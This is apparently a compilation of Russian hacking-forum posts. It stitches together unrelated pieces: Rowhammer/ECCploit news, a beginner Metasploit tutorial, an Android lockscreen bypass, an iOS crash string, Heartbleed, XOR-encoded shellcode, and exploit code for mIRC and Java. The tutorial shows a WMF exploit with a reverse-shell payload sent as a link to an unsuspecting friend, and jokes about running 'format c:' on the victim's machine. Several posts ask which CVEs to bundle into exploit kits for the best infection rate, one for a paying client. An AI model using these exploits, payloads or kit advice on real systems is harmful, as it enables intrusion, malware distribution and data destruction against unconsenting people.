Еще в 2014 году исследователи из университета Карнеги — Меллона разработали атаку Rowhammer. Ее суть сводилась к тому, что определенное воздействие на ячейки памяти может привести к тому, что электромагнитное излучение повлияет на соседние ячейки и значения битов в них изменятся.
За прошедшие с тех пор годы исследователи сумели доказать, что перед Rowhammer может быть уязвима память DDR3 и DDR4, а также научились эксплуатировать атаку через JavaScript и успели приспособить против Microsoft Edge и виртуальных машин Linux. Существует даже вариация Rowhammer, представляющая опасность для устройств на Android.
Теперь специалисты Амстердамского свободного университета опубликовали доклад, согласно которому новая вариация атаки Rowhammer по-прежнему может быть опасна, несмотря на все современные защитные системы.
Свою атаку эксперты назвали ECCploit, так как их метод позволяет атаковать ECC-память, которая автоматически распознает и исправляет спонтанно возникшие изменения (ошибки) битов, то есть защищает от различных вариаций Rowhammer. Нужно сказать, что исходно ECC-память создавалась не как защита от Rowhammer. В девяностые годы ее разработчиков больше волновало возможное влияние на биты альфа-частиц, нейтронов и подобное. Однако считалось, что от атак Rowhammer ECC может защитить ничуть не хуже.
Аббревиатура ECC расшифровывается как Error-correcting Code, то есть ECC- память — это «память с коррекцией ошибок». Такую защищенную память сегодня используют в большинстве критических систем, для которых важна бесперебойная и стабильная работа, в том числе в серверах.
Исследователи Амстердамского свободного университета пишут, что после долгих месяцев реверс-инжиниринга им удалось понять, что у ECC-памяти тоже есть свои лимиты. Так, ECC может обнаруживать и корректировать «переворот» лишь одного бита за раз, в том сегменте памяти, за которым наблюдает. Если же в одном сегменте «перевернутся» сразу два бита одновременно (крайне маловероятное событие), ECC-память спровоцирует отказ в работе приложения, чтобы избежать возможных повреждений данных и потенциальной компрометации.
Однако экспертам удалось создать вариацию Rowhammer, которая вызывает «переворот» сразу трех битов одновременно. И как оказалось, такая ситуация уже не провоцирует отказ в работе и вообще не вызывает у ECC-памяти какой-либо реакции. То есть такая атака позволяет обойти защиту ECC вообще. Хотя в своих исследованиях специалисты концентрировали усилия на DDR3, они полагают, что DDR4 подвержена таким же проблемам.
Нужно заметить, что при этом ECCploit относится скорее к разряду концептов, так как использовать данную атаку на практике будет нелегко. Исследователи признают, что для проведения атаки потребуется от 32 минут до недели реального времени и ее массового использования определенно можно пока не опасаться. Специалисты советуют пользователям не пренебрегать ECC-памятью из-за этой проблемы, а производителей призывают учесть данные недоработки в будущем.
Или как юзать пакет Metasploit Framework для новичков
Предисловие.
Многие слышали наверно слова Метасплоит, метафайлы, эксплоит, шелл, уязвимость. Очень много вопросов возникает у пользователей (начинающих скрипткидисов, а так же тестеров сплоитов и уязвимостей) которые с этим так или иначе сталкиваются, вот как раз для них эта статья. Тут я расскажу Вам что такое проект Metasploit Framework и как им пользоваться. Сразу скажу что статья расчитана для тех кто задаёт вопросы типа этих:
Code:Copy to clipboard
cd \
cd %SystemRoot%\system32
msfconsole: chdir: failed to change directory No such file or directory
Это как понимать???
2. или типа этого:
Code:Copy to clipboard
+ -- --=[ msfconsole v2.6 [145 exploits - 75 payloads]
msf > ls exploits
ls: exploits: No such file or directory
msf >
А как понимать это???
1.Основные понятия и термины используемые в статье. (знающие могут пропустить):
Эксплоит: (англ. exploit — использовать) — это общий термин в сообществе компьютерной безопасности для обозначения фрагмента программного кода который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы.*
Шелл-код: Код оболочки, шелл-код (англ. shellcode) — это двоичный исполняемый код, который обычно передаёт управление консоли, например '/bin/sh' Unix shell, command.com в MS-DOS и cmd.exe в операционных системах Microsoft Windows. Код оболочки может быть использован как полезная нагрузка эксплойта, обеспечивая взломщику доступ к командной оболочке (англ. shell) в компьютерной системе.*
Реверс-шелл: При эксплуатации удаленной уязвимости шелл-код может открывать заранее заданый порт TCP уязвимого компьютера, через который будет осуществляться дальнейший доступ к командной оболочке, такой код называется привязывающим к порту (англ. port binding shellcode). Если шелл-код осуществляет подключение к порту компьютера атакующего, что производится с целью обхода брандмауэра или NAT, то такой код называется обратной оболочкой (англ. reverse shell shellcode).
Уязвимость: В компьютерной безопасности, термин уязвимость (англ.vulnerability) используется для обозначения слабозащищённого или открытого места в системе. Уязвимость может быть результатом ошибок программирования или недостатков в дизайне системы. Уязвимость может существовать либо только теоретически, либо иметь известный эксплойт. Уязвимости часто являются результатом беззаботности программиста, но, также, могут иметь и другие причины. Уязвимость обычно позволяет атакующему обмануть приложение, например,с помощью внедрения данных каким-нибудь незапланированным способом, выполнения команды на системе, на которой выполняется приложение, или путем использования упущения, которое позволяет получить непредусмотренный доступ к памяти для выполнения кода на уровне привилегий программы. Некоторые уязвимости появляются из-за недостаточной проверки данных, вводимых пользователем; часто это позволяет напрямую выполнить команды SQL (SQL- инъекция). Другие уязвимости появляются из-за более сложных проблем, таких как запись данных в буфер, без проверки его границ, в результате буфер может быть переполнен, что может привести к исполнению произвольного кода.
Cygwi (Цигвин): набор свободных программных инструментов разработанных фирмой Cygnus Solutions, позволяющих превратить Microsoft Windows различных версий в некоторое подобие Unix-системы. Изначально Cygwin задумывался как среда для переноса программ из POSIX-совместимых операционных систем (таких как GNU/Linux, BSD и UNIX) в Windows. Программы, портированные с помощью Cygwin, работают лучше всего в Windows NT, Windows 2000, Windows XP и Windows Server 2003, но в некоторых случаях годятся Windows 95 и Windows 98. В настоящее время проект Cygwin разрабатывается сотрудниками Red Hat и другими программистами. Подобные функциональные возможности предлагает также и Microsoft в своём пакете Services for UNIX, включающем в себя подсистему Interix.*
Perl (Перл): Язык программирования. Создатель Ларри Уолл (Larry Wall). Само слово Perl — аббревиатура, которая расшифровывается как Practical Extraction and Report Language (практический язык извлечений и отчётов, отчего сначала язык назывался PEARL, но затем буква «A» «потерялась»). Существует также ряд других вариантов. Согласно самому красивому из них, название perl произошло от слова pearl (жемчужина). Талисманом языка Perl является верблюд — не слишком красивое, но очень выносливое животное, способное выполнять тяжелую работу. Основной особенностью языка считаются его богатые возможности для работы с текстом, реализованные при помощи регулярных выражений.*
(определения взяты из выкипедии)
2. Что такое Metasploit Framework?
Metasploit Framework (согласно описанию) это законченная среда для написания,
тестирования и использования кода эксплойтов. Эта среда обеспечивает надежную
платформу для испытаний на проникновение, разработки шелкодов и исследования
уязвимостей". Написан на Perl (с некоторыми частями на ассемблере, Python и C)
– отсюда нет привязки к какой либо платформе – будет работать в любой системе,
где есть интерпретатор Perl`a (с оговоркой, см. дальше). На данный момент,
пакет Metasploit Framework функционирует как на Linux так и на Windows, а так
же на Мас. Скачать последнюю версию пакета для соответствующей ОС можно здесь:
http://www.metasploit.com/
(Среда под Windows базируется на доработанном Cygwin, что удобно, т.к. это
дает пользователю извесную консоль. Однако, были некоторые проблемы с
поддержкой Active Perl, поэтому поддерживается только Cygwin Perl.
3. Установка (для win- пользователей)
Инсталлятор для windows содержит всё необходимое (Сygwin, Perl), т. е.
пользователям windows дополнительное ПО скачивать не потребуется.
Качаем тут: (доступная версия
2.6 для windows на момент написания статьи).
Тут лежит версия 2.7 Щас
она актуальней (больше сплоитов).
Запускаем инсталлятор: framework-2.6.exe
Получаем: в C:\Program Files\Metasploit Framework\
cygwin.bat (41.0B) - запуск cygwin
msfconsole.bat (86.0B) - запуск консоли MSF
msfupdate.bat (85.0B) - запуск обновления пакета
msfweb.bat (82.0B) - запуск WEB-интерфейса пакета
Metasploit Framework.url (51.0B) - линк на сайт разработчиков
uninst.exe (47.6KB) - деинсталяция пакета
а также папки bin, etc, home, lib, sbin, tmp, usr, var - хорошо известные поклонникам Unix-систем.
4. Использование.
Пакет Metasploit Framework имеет два варианта работы: msfconsole (консольный) и web- интерфейс msfweb. Мне удобней всегда работать в msfconsole. Это интерфейс командной строки (по типу cmd с минимальным набором команд), имеющий собственное программное окружение и систему команд. Чтоб посмотреть основные команды наберите в консоли help. Для тех у кого туго с английским привожу перевод help`a. Рассмотрим консольный вариант работы пакета.
Code:Copy to clipboard
msf > help
Metasploit Framework Main Console Help
======================================
? ------------ Show the main console help (Показать главное окно помощи)
cd ----------- Change working directory (Выбрать рабочую директорию)
exit ---------- Exit the console (Выход из консоли)
help --------- Show the main console help (Показать главное окно помощи)
info ---------- Display detailed exploit or payload information (Вывести на дисплей детальную инфу о эксплоите или начинке)
quit ---------- Exit the console (Выход из консоли)
reload -------- Reload exploits and payloads (Перезагрузить эксплоит и начинки)
save --------- Save configuration to disk (Записать конфигурацию на диск)
setg ---------- Set a global environment variable (Установить глобальную переменную окружения)
show --------- Show available exploits and payloads (Показать доступные эксплоиты и начинки)
unsetg ------- Remove a global environment variable (Удалить глобальную переменную окружения)
use ----------- Select an exploit by name (Выбрать эксплоит по имени для использования)
version ------- Show console version (Показать версию консоли)
----нет в help`е-----
ls ------------- List the current directory (Показать файлы в текущей директории)
exploit -------- Run exploit (Запуск эксплоита)
msf >
М...да, скажете вы help бедноват и команд мало. Ну ничего, сами догоним что к
чему.
cd [имя_директории]- стандартная команда (как и в cmd, так и в древнем дос -
делает то же самое и здесь, с ней всё ясно, для тех кто в танке наберите help
cd в консоли cmd)
Конечно всем не терпится использовать команду use [имя эксплоита], а затем
установить переменную PAYLOAD какой либо вкусной начинкой, но всё по порядку,
начнём!
5. Распрастранённые ошибки 90% новичков.
(продвинутым в режиме командной строки пропустить обязательно! ;-)):
1 Ошибка.
Первая команда юзера после загрузки консоли ls exploits
В этом случае их постигает такой облом:
Code:Copy to clipboard
msf > ls exploits
ls: exploits: No such file or directory
msf >
И все разом говорят у меня нет эксплоитов!
А надо сделать всего лишь команду ls без параметров, чтоб посмотреть где мы
находимся.
Code:Copy to clipboard
msf > ls
framework perl.exe.stackdump run_msfupdate userguide.pdf
framework.tar run_msfconsole run_msfweb
msf >
Вот теперь мы видим, что папки с эксплоитами тут нет, так как она, скорее
всего, находится внутри папки framework.
В чём проблема, переходим в папку framework и посмотрим там:
Code:Copy to clipboard
msf > cd framework
msfconsole: chdir: changed to directory framework
msf >
Прекрасно! Теперь глянем что тут внутри скомандовав ls:
Code:Copy to clipboard
msf > ls
data exploits msfcli msfencode msfpescan nops src
docs extras msfconsole msflogdump msfupdate payloads tools
encoders lib msfelfscan msfpayload msfweb sdk
msf >
О! Сколько тут всего! И эксплоиты и начинки и доки. Вот теперь можно командовать ls exploits
Code:Copy to clipboard
msf > ls exploits
3com_3cdaemon_ftp_overflow.pm mozilla_compareto.pm
Credits.pm ms05_039_pnp.pm
-------------много других эксплоитов-------------------
mercantec_softcart.pm wsftp_server_503_mkd.pm
mercur_imap_select_overflow.pm wzdftpd_site.pm
mercury_imap.pm ypops_smtp.pm
minishare_get_overflow.pm zenworks_desktop_agent.pm
msf >
Во! Сколько сплоитов! (А говорили нет эксплоитов. оказывается всё со сплоитами в порядке - они есть)
2 Ошибка
Команда use [имя_экплоита.pm]
Code:Copy to clipboard
msf > use ie_xp_pfv_metafile.pm
msfconsole: use: please specify a valid exploit name
msf >
Расширение эксплоита pm - указывать не надо, только имя сплоита!
Code:Copy to clipboard
msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile >
3 Ошибка
После удачного выбора нужного сплоита сразу выбирают начинку (забывая про параметры)
Code:Copy to clipboard
msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf ie_xp_pfv_metafile(win32_reverse) > exploit
Error: Missing required option: LHOST
msf ie_xp_pfv_metafile(win32_reverse) >
Облом! Это что ещё? Перевожу отсутствует (не задана) рекомендованная опция
(параметр) LHOST
Вообщем перед тем как начинять сплоит, я советую задать (установить) все
необходимые параметры с помощью команды set.
У каждого сплоита их может быть разное количество (зависит от конкретной
уязвимости)
Ну и что делать, как узнать какие параметры у какого сплоита? Ответ уже был
выше! в help`e! Коммандуем: info [имя_сплоита], например узнаем всё про wmf-
сплоит (ie_xp_pfv_metafile)
Code:Copy to clipboard
msf > info ie_xp_pfv_metafile
Name: Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Executi
Class: remote
Version: $Revision: 1.18 $
Target OS: win32, winxp, win2003
Keywords: wmf
Privileged: No
Disclosure: Dec 27 2005
Provided By:
H D Moore <hdm [at] metasploit.com
san <san [at] xfocus.org>
O600KO78RUS[at]unknown.ru
Available Targets:
Automatic - Windows XP / Windows 2003 / Windows Vista
Available Options:
Exploit: Name Default Description
-------- -------- ------- --------------------------------------
optional REALHOST External address to use for redirects
T)
optional HTTPHOST 0.0.0.0 The local HTTP listener host
required HTTPPORT 8080 The local HTTP listener port
..........пропущено.............
msf >
Вот вам вся и подробная инфа о сплоите, нас интересует optional
Для ленивых:
HTTPHOST (LHOST) - Локальный IP адрес сервера на котором повиснет сплоит
(адрес твоего компа)
HTTPORT (LPORT) - его порт (8080 - по умолчанию)
REALHOST (RHOST) - внешний адрес для редиректа (WAN - адрес если твой комп
находится за NAT)
4. Ошибка
Важно! Всегда и везде имена переменных окружения писать только ЗАГЛАВНЫМИ
буквами!
5. Ошибка
Code:Copy to clipboard
>msf ie_xp_pfv_metafile(win32_reverse) > exploit
msf >Could not start listener: Operation not permitted
Что делать? - освободить порт (уже занят чем то, буквально - немогу запустить слущатель:операция не разрешена) или использовать другой, например set LPORT 8081
6 Ошибка
Client connected from ххх.ххх.ххх.ххх:1879...
Undefined subroutine &Pex::Utils::JSUnescape called at
/home/framework/exploits/
ie_vml_rectfill.pm line 156.
Exiting Reverse Handler.
msf ie_vml_rectfill(win32_reverse) >
Это ещё что? Неопределённая подпрограмма и ... ну вообщем скорее всего вы
скачали свежий сплоит и засунули в старую версию пакета, вообщем работать не
будет. Cплоиты которые вышли после пакета в большинстве своём будут работать
только на свежей версии, на данный момент 2.7 (как раз касается свежего
сплоита ie_vml_rectfill.pm. Так что или обновляйте пакет, либо качайте
последний...
6. Пример
(практическое использование).
Эксплоит: ie_xp_pfv_metafile, начинка win32_reverse
Code:Copy to clipboard
msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile > set LHOST 10.0.0.1
LHOST -> 10.0.0.1
Вообщем разобрались задали всё необходимое для сплоита, теперь можно
переходить к начинке:
командуем set PAYLOAD [имя_начинки],
Code:Copy to clipboard
msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf ie_xp_pfv_metafile(win32_reverse) >msf ie_xp_pfv_metafile(win32_reverse) > exploit
[*] Starting Reverse Handler.
[*] Waiting for connections to http://10.0.0.1:8080/
Готово! Консоль говорит, что жду соединений к http://10.0.0.1:8080/
Впариваем ссылку другу (или подружке) например через асю..
Маша, смотри какой прикол: http://10.0.0.1:8080/ (прим. вообще-то тут должен быть внешний ip)
Юзвер заходи по ссылке (и если у него есть эта конкретная уязвимость в IE) в консоли мы должны увидеть вот что:
Code:Copy to clipboard
[*] HTTP Client connected from 10.0.0.2:1116, redirecting... - клиент соединился, его IP 10.0.0.2:1116, редирект
[*] HTTP Client connected from 10.0.0.2:1117, sending 1604 bytes of payload... - отправлено 1604 байт начинки (реверс-шелл тут)
[*] Got connection from 10.0.0.1:4321 <-> 10.0.0.2:1118 - установлено соединение (пайп с cmd удалённого компа)
Microsoft Windows XP ['?абЁп 5.1.2600]
(') ?RаЇRа жЁп ? cЄаRбRдв, 1985-2001.
C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>
О блин!, Это ещё что, скажете Вы - это командная строка удалённого компа того
юзверя!
А что за абракадабра? - Это не та кодовая страница выбрана (у него русская
винда стоит!) Щас проверим! chcp
Code:Copy to clipboard
C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>chcp
chcp
'?Єгй п ЄR¤Rў п бва -Ёж : 866
C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>
Точно это 866, поставим 1251 (виндовую, а не дос)
Code:Copy to clipboard
C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>chcp 1251
chcp 1251
'?Єгй п ЄR¤Rў п бва -Ёж : 1251
C:\Documents and Settings\Администратор\Рабочий стол>
О! Теперь всё по русски! Что делать в cmd чужого компа зависит от вашей
фантазии, список команд смотрите в help по консольным командам windows.
(format c: - жесть!)
Был разобран конкретный пример использования WMF-Эксплоита с начинкой реверс-
шелла, ваши варианты могут быть другими.
Заключение.
Ссылки:
Инфа по старой версии пакета 2.0 (сентябрь 2004г)
http://www.securitylab.ru/analytics/216366.php - обзорная статья по
Metasploit Framework
http://www.securitylab.ru/analytics/216369.php - использование пакета
http://www.securitylab.ru/analytics/216372.php - про ещё один интерфейс
пакета
http://www.xakep.ru/magazine/xa/086/066/1.asp - статьи в журнале хакер про
WMF-баг*
http://www.xakep.ru/magazine/xa/086/074/1.asp
http://forum.antichat.ru/thread20741.html - "WMF баг - windows
эксплуатация" - моя статья, породившая кучу вопросов типа как юзать
Metasploit.
Тут Лежит видео по использованию пакета 2.7. В видео показываем как мы взламываем систему друга, чтоб поглумиться над ним, обнаруживаем у него признаки наличия трояна Смерть Ламера, проникаемся к нему сочувствием и избавляем его от троя удалённо (сносим файл сервера троя антивирусом касперского, но этого мало, трой снова себя восстанавливает - он есть в процессах, находим подозрительно-левый процесс и пытаемся его удалённо убить - получается только с третьего раза с параметром "принудительно", затем находим автозагружаемый файл сервера трояна и тоже убиваем его антивирем)
Что можно выжать из memory leak'а, кроме DoS?
Обнаружена очередная уязвимость CVE-2015-3860 в Android 5.0 и старше, позволяющая при должном усердии получить полный доступ к устройству, несмотря на установленный пароль на экран блокировки.
Для этого необходимо:
— создать достаточно длинную строку и скопировать её в буфер обмена
— вызвать с экрана блокировки приложение «Камера»
— перейти на настройки
— вставить скопированную строку в появившееся окно ввода пароля
— немного подождать
[Источник](http://sites.utexas.edu/iso/2015/09/15/android-5-lockscreen- bypass/)
В iOS обнаружена уязвимость, которая позволяет пользователям мобильных
устройств iPhone привести к сбоям работы устройств других пользователей
iPhone. Баг был найден в мобильном приложении Messages. Отправка текстового
сообщения с одного iPhone на другой позволяет привести к сбою в работе
мобильного устройства.
Ниже приведен текст такого сообщения.
Code:Copy to clipboard
effective. Power لُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ 冗
Ссылки:
_http://thehackernews.com/2015/05/this-simple-text-message-can-crash-
and_26.html
_http://www.reddit.com/r/iphone/comments/37eaxs/um_can_someone_explain_this_phenomenon/
Какие сейчас популярные продукты на рынке? Плюсы минусы, проц. пробива. Какие
сплоиты стоят в каких связках, желательно знать CVE. Есть чтото новое из
сплоитов или все старое юзают. Очень интересен конкретный толковый ответ.
Если делать свою связку для своих нужд какие сплоиты в нее нужно включить.
Какую связку сплоитов посоветутете?
Уязвимость в OpenSSL с версии 1.0.1 по 1.0.1f включительно позволяет читать
память клиента или сервера кусками по 64кб.
Исследователям при тестировании уязвимости удалось достать из памяти приватные
ключи, имена юзеров и пароли, тексты сообщений IM, и т.п.
Уязвимы почти все свежие дистрибутивы:
Debian Wheezy (stable)
Ubuntu 12.04.4 LTS
CentOS 6.5
Fedora 18
OpenBSD 5.3, 5.4
FreeBSD 8.4, 9.1
NetBSD 5.0.2
OpenSUSE 12.2, 13.1
Версии OpenSSL ниже 1.0.1 не уязвимы.
http://www.openssl.org/news/vulnerabilities.html
http://heartbleed.com/
Апдейт уже есть в большинстве репозиториев, рекомендую обновиться.
Также желательно пересоздать openssl ключи, т.к. они могут быть уже слиты (уязвимость появилась в 2012 году).
В общем есть шеллкод (выводит месседж бокс)
Code:Copy to clipboard
31d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e4661746175f2817e084578697475e98b7a2401c7668b2c6f8b7a1c01c78b7caffc01c76879746501686b656e42682042726f89e1fe490b31c05150ffd7
в обычном виде работает как просто при запуске из exe файла, так и внедренным в эксплоит который использует buffer overflow
проблема такая что если я заксорю шеллкод, он будет рабочим при запуске напрямую, но перестает работать в эксплоите.
в чем может быть проблема? нуль байтов чтобы не было предусмотрел.
Spoiler: 1
Code:Copy to clipboard
EB035BEB05E8F8FFFFFF8BC383C011B1718A1880F302881840E2F633D0B03266891089500E89501E89400A8970228910827C0E3177F08BC5017A3E89557A03C089782203C533EF8936AD03C447833C4463766377F0837C0A477A6B7677EB89782603C564892E6D89781E03C5897EADFE03C56A7B7667036A69676C406A2240706D8BE3FC4B0933C25352FDD5
Spoiler: 1
.Code
Main:
GETDELTA:
Jmp NEXT
PREV:
pop ebx
jmp END_GETDELTA
NEXT:
call PREV
END_GETDELTA:
Mov Eax, Ebx ; eax = delta
Add Eax, 17 ; shellcode position
Mov Cl, 113 ; shellcode length
@@1:
Mov Bl, Byte Ptr [Eax] ; читаем очередной байт зашифрованного тела в bl
Xor Bl, 2 ; ксорим его на XOR_KEY
Mov Byte Ptr [Eax], Bl ; записываем расшифрованный байт в тело
Inc Eax ; перемещаем указатель на следующий байт тела
Loop @@1 ; если ecx не равен 0 - новый виток цикла
код расшифровщика на асме
End Main
помогите понять)
mIRC font exploit XP SP2
Сплойт основан на некорректной обработке фонтов в мирке.
Некорректные команды:
/font -z $readini(c:\a\a.ini,aaaaaaa ,aaaa)
или
$readini(c:\a\a.ini,aaaaaaa ,aaaa)
Сам сплойт:
Code:Copy to clipboard
/*
mircfontexploitXPSP2.c
This PoC it's for XP SP2 English
Special thanks to Racy from irc-hispano
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int main () {
HWND lHandle;
char command[512]= "/font -z $null";
char strClass[30];
char buffer[128]=
"\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char shellcode[999]=
"\x55"
"\x8B\xEC"
"\x33\xFF"
"\x57"
"\x83\xEC\x04"
"\xC6\x45\xF8\x63"
"\xC6\x45\xF9\x6D"
"\xC6\x45\xFA\x64"
"\xC6\x45\xFB\x2E"
"\xC6\x45\xFC\x65"
"\xC6\x45\xFD\x78"
"\xC6\x45\xFE\x65"
"\x8D\x45\xF8"
"\x50"
"\xBB\xc7\x93\xc2\x77"
"\xFF\xD3";
//Shellcode system("cmd.exe"), system in \xc7\x93\xc2\x77 0x77c293c7
(WinXP Sp2 English)
char saltaoffset[]="\xD6\xD1\xE5\x77"; // jmp esp 0x77E5D1D6 (advapi32.dll)
SetForegroundWindow(lHandle);
lHandle = FindWindowEx(FindWindowEx(FindWindowEx(FindWindow("mIRC",
NULL), 0, "MDIClient", 0),0, "mIRC_Status", 0), 0, "Edit", 0);
if (!lHandle) { printf("Can't find mIRC\n"); return 0; }
strcat(buffer,saltaoffset);
strcat(buffer,shellcode);
strcat(command,buffer);
printf("mIRC Font Command Exploit: %s\n", command);
SendMessage(lHandle, WM_SETTEXT,0,(LPARAM)command);
SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0);
}
Нужен список названий уязвимостей в какой-нибудь популярной связвке эксплоитов 2012-2013 года апдейта, желательно 2013. Понятное дело что полу-приват связки используют паблик-уязвимости. Нужен список их названий или CVE. для себя.
У кого-нибудь получилось совместить сабж? Что-то совсем не работает (те работает если только консоль открыта).
Пишу связку на заказ, подскажите пару-тройку паблик сплойтов с пробивом 2-3% и больше. Вот что удалось нагуглить: MDAC для IE6, CVE-2012-0507, CVE-2012-4681, CVE-2011-3544 (Java rhino). Есть ли пробив по ним? Стоит ли ставить MDAC или лишнее палево?
Вообще, за любую полезную информацию / ссылки по теме буду благодарен.
пока самого сорца триггера баги не видно ( если только на скрине на одном из линков ), поэтому точно сказать не могу, но походу данный эксп располагает возможностью пробивать w7, а стало быть там либо leak, либо какая то другая техника, во всяком случае будем надеяться на что то интересно ... кстати, из интересного, проверки на ав через res://
куча линков, все что известно на данный момент
[http://labs.alienvault.com/labs/index.php/...malicious-
code/](http://labs.alienvault.com/labs/index.php/2013/u-s-department-of-labor-
website-hacked-and-redirecting-to-malicious-code/)
[http://blogs.cisco.com/security/department...ce-
capabilities](http://blogs.cisco.com/security/department-of-labor-watering-
hole-attack-confirmed-to-be-0-day-with-possible-advanced-reconnaissance-
capabilities)
pre-js сбор данных о плаигнах и ав
[https://rstforums.com/forum/68733-javascrip...t-antivirus.rst](https://rstforums.com/forum/68733-javascript-
detect-antivirus.rst)
http://webcache.googleusercontent.com/sear...p&hl=en&strip=0
ребятами из метасплоит уже запилен эксп к баге, только они его не публикуют потому как еще 0day
еще не тестил ):
[http://immunityproducts.blogspot.nl/2013/0...ing-
bypass.html](http://immunityproducts.blogspot.nl/2013/04/yet-another-java-
security-warning-bypass.html)
https://twitter.com/sagar38/status/327136718488752128
видимо это добавили в CANVAS
https://twitter.com/Immunityinc/status/327114220179189760
http://www.immunityinc.com/ceu-index.shtml
В общем сегодня всплыл очередной эксплоит под JRE:
https://dev.metasploit.com/redmine/projects...c2a38aa48029db3
первоисточник:
[http://weblog.ikvm.net/PermaLink.aspx?guid...df-
efa42ac237f0](http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-
efa42ac237f0)
Code:Copy to clipboard
import java.lang.invoke.MethodHandle;
import java.lang.reflect.Field;
import static java.lang.invoke.MethodHandles.lookup;
import java.applet.Applet;
class Union1 {
int field1;
Object field2;
}
class Union2 {
int field1;
SystemClass field2;
}
class SystemClass {
Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,
f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23,
f24,f25,f26,f27,f28,f29,f30;
}
class PoC extends Applet {
///
public static void main(String[] args) throws Throwable {
new PoC().init();
}
///
public void init() {
try
{
disableSecurityManager();
Runtime.getRuntime().exec("calc.exe");
}
catch(Exception exception)
{
exception.printStackTrace();
} catch(Throwable t) {
t.printStackTrace();
}
}
///
static void disableSecurityManager() throws Throwable
{
MethodHandle mh1, mh2;
mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class);
mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class);
Field fld1 = Union1.class.getDeclaredField("field1");
Field fld2 = Union2.class.getDeclaredField("field1");
Class classInt = int.class;
Class classDouble = double.class;
mh1.invokeExact(int.class);
mh2.invokeExact((Class)null);
Union1 u1 = new Union1();
u1.field2 = System.class;
Union2 u2 = new Union2();
fld2.set(u2, fld1.get(u1));
mh1.invokeExact(classDouble);
mh2.invokeExact(classInt);
if (u2.field2.f29 == System.getSecurityManager())
{
u2.field2.f29 = null;
}
else if (u2.field2.f30 == System.getSecurityManager())
{
u2.field2.f30 = null;
}
else
{
System.out.println("security manager field not found");
}
}
}
замечу, что я его завести не смог, несмотря на модуль в метасплоите, на JRE 7u10 и 7u15 WinXPSP3 у меня стабильно java.lang.reflect.InvocationTargetException до момента инициализации апплета:
Code:Copy to clipboard
java.lang.reflect.InvocationTargetException
at com.sun.deploy.util.DeployAWTUtil.invokeAndWait(Unknown Source)
at sun.plugin2.applet.Plugin2Manager.runOnEDT(Unknown Source)
at sun.plugin2.applet.Plugin2Manager.createApplet(Unknown Source)
at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)
Caused by: java.lang.RuntimeException: java.lang.IllegalAccessException: Class sun.plugin2.applet.Plugin2Manager$12 can not access a member of class PoC with modifiers ""
at sun.plugin2.applet.Plugin2Manager$12.run(Unknown Source)
at java.awt.event.InvocationEvent.dispatch(Unknown Source)
at java.awt.EventQueue.dispatchEventImpl(Unknown Source)
at java.awt.EventQueue.access$200(Unknown Source)
at java.awt.EventQueue$3.run(Unknown Source)
at java.awt.EventQueue$3.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Method)
at java.security.ProtectionDomain$1.doIntersectionPrivilege(Unknown Source)
at java.awt.EventQueue.dispatchEvent(Unknown Source)
at java.awt.EventDispatchThread.pumpOneEventForFilters(Unknown Source)
at java.awt.EventDispatchThread.pumpEventsForFilter(Unknown Source)
at java.awt.EventDispatchThread.pumpEventsForHierarchy(Unknown Source)
at java.awt.EventDispatchThread.pumpEvents(Unknown Source)
at java.awt.EventDispatchThread.pumpEvents(Unknown Source)
at java.awt.EventDispatchThread.run(Unknown Source)
Caused by: java.lang.IllegalAccessException: Class sun.plugin2.applet.Plugin2Manager$12 can not access a member of class PoC with modifiers ""
at sun.reflect.Reflection.ensureMemberAccess(Unknown Source)
at java.lang.Class.newInstance0(Unknown Source)
at java.lang.Class.newInstance(Unknown Source)
... 15 more
Exception: java.lang.reflect.InvocationTargetException
Семплы:
http://www.mediafire.com/?fywov0t0d4y72sg
Зеркало:
http://rghost.ru/private/43704243/985cb02d...f4c6a4b15b2acf2
Его разбор и анализ на английском:
[http://malwaremustdie.blogspot.jp/2013/02/...yle-is-
not.html](http://malwaremustdie.blogspot.jp/2013/02/cve-2013-0634-this-
ladyboyle-is-not.html)
Теперь все ждем чего скажет -el =)
Выполнение произвольного кода при обработке Bitmap файлов в Windows Media
Player
Программа: Microsoft Windows Media Player 10.x и более ранние версии
Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольный код на
целевой системе.
Уязвимость существует из-за ошибки при обработке .bmp файлов, которые объявляют свой размер равным 0. Удаленный пользователь может с помощью специально сформированного .bmp файла вызвать переполнение динамической памяти и выполнить произвольный код на целевой системе.
Решение: Установите исправление с сайта производителя.
Windows Media Player for XP on Microsoft Windows XP Service Pack 1:
http://www.microsoft.com/downloads/details...8C-E951CBA7E9BA
Windows Media Player 9 on Microsoft Windows XP Service Pack 2:
http://www.microsoft.com/downloads/details...EF-1797B52D0B4B
Windows Media Player 9 on Microsoft Windows Server 2003:
http://www.microsoft.com/downloads/details...EF-1797B52D0B4B
Microsoft Windows Media Player 7.1 when installed on Windows 2000 Service Pack
4:
http://www.microsoft.com/downloads/details...D4-8377B83257C6
